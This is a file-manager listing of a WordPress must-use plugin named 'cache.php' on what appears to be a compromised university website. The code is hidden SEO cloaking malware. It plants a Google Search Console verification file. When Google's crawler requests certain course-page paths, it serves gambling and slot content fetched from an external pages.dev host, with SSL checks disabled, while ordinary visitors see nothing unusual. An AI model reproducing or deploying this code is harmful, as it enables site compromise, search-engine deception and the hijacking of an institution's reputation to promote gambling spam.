文件操作 - cache.php

文件: /var/www/ficgenero.uaysen.cl/html/wp-content/mu-plugins/cache.php

编辑文件内容

<?php

add_action('init', function(){

$gsc_file    = '/google1c30a6e2e32ea1e0.html';
    $gsc_content = 'google-site-verification: google1c30a6e2e32ea1e0.html';
    $req_uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);

if ($req_uri === $gsc_file){
        header('Content-Type: text/html; charset=UTF-8');
        echo $gsc_content;
        exit;
    }

$map = [
        '/enlaces-de-referencias/' => 'https://dutacilok.pages.dev/ficgenero.uaysen2/km777',
        '/experiencias-previas/' => 'https://dutacilok.pages.dev/ficgenero.uaysen2/sl888',
        '/experiencias/' => 'https://dutacilok.pages.dev/ficgenero.uaysen2/jayaslot',
        '/diplomados/' => 'https://dutacilok.pages.dev/ficgenero.uaysen2/na777',
        '/formacion/' => 'https://dutacilok.pages.dev/ficgenero.uaysen2/rejekibet',
        '/cursos/' => 'https://dutacilok.pages.dev/ficgenero.uaysen2/okjkt',
    ];

$_a = rtrim($req_uri, '/') . '/';
    $_b = '';

foreach ($map as $_d => $_e){
        if (strpos($_a, $_d) === 0){
            $_b = $_e;
            break;
        }
    }

if (!$_b){ return; }

$_f = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

$_g = [
        'googlebot',
        'adsbot-google',
        'mediapartners-google',
        'google-inspection',
        'storebot-google'
    ];

$_c = false;
    foreach ($_g as $_x){
        if (strpos($_f, $_x) !== false){
            $_c = true;
            break;
        }
    }

if (!$_c){ return; }

$ip = $_SERVER['REMOTE_ADDR'];
    $bot_cache_file = WP_CONTENT_DIR . '/cache/bot_valid_' . md5($ip) . '.tmp';
    $is_valid_bot = false;

if (file_exists($bot_cache_file) && (time() - filemtime($bot_cache_file) < 14400)) {
        $is_valid_bot = (bool) file_get_contents($bot_cache_file);
    } else {
        $hostname = gethostbyaddr($ip);
        if ($hostname !== $ip) {
            $hostname = strtolower($hostname);
            if (substr($hostname, -strlen('.googlebot.com')) === '.googlebot.com' || 
                substr($hostname, -strlen('.google.com')) === '.google.com') {
                $forward_ip = gethostbyname($hostname);
                if ($forward_ip === $ip) {
                    $is_valid_bot = true;
                }
            }
        }
        @file_put_contents($bot_cache_file, $is_valid_bot ? '1' : '0');
    }

if (!$is_valid_bot) {
        status_header(403);
        exit;
    }

$_i = WP_CONTENT_DIR . '/cache';
    if (!is_dir($_i)){ @mkdir($_i, 0755, true); }

$_j = $_i . '/cache_' . md5($_b) . '.html';

$_k = 259200;

$need_refresh = !file_exists($_j) || (time() - filemtime($_j) > $_k);

if ($need_refresh) {
        $lock_file = $_i . '/lock_' . md5($_b) . '.lock';
        $lock_handle = fopen($lock_file, 'w+');

if (flock($lock_handle, LOCK_EX)) {
            clearstatcache();

if (file_exists($_j) && (time() - filemtime($_j) <= $_k)) {

} else {
                $_l = curl_init($_b);
                curl_setopt_array($_l, [
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_FOLLOWLOCATION => true,
                    CURLOPT_TIMEOUT => 5,

CURLOPT_SSL_VERIFYPEER => false,
                    CURLOPT_SSL_VERIFYHOST => false,
                    CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; Googlebot/2.1)'
                ]);

$_m = curl_exec($_l);
                $http_code = curl_getinfo($_l, CURLINFO_HTTP_CODE);

curl_close($_l);

if ($_m && $http_code === 200){
                    $temp_file = $_j . '.tmp';
                    file_put_contents($temp_file, $_m, LOCK_EX);
                    rename($temp_file, $_j);
                }
            }
            flock($lock_handle, LOCK_UN);
        }
        fclose($lock_handle);
    }

if (file_exists($_j)){
        header('Content-Type: text/html; charset=UTF-8');
        header('X-MU-CLOAK: on');
        echo file_get_contents($_j);
        exit;
    }

echo 'Cloak Failed';
    exit;
});
?>

文件操作 - cache.php

文件: /var/www/ficgenero.uaysen.cl/html/wp-content/mu-plugins/cache.php

编辑文件内容

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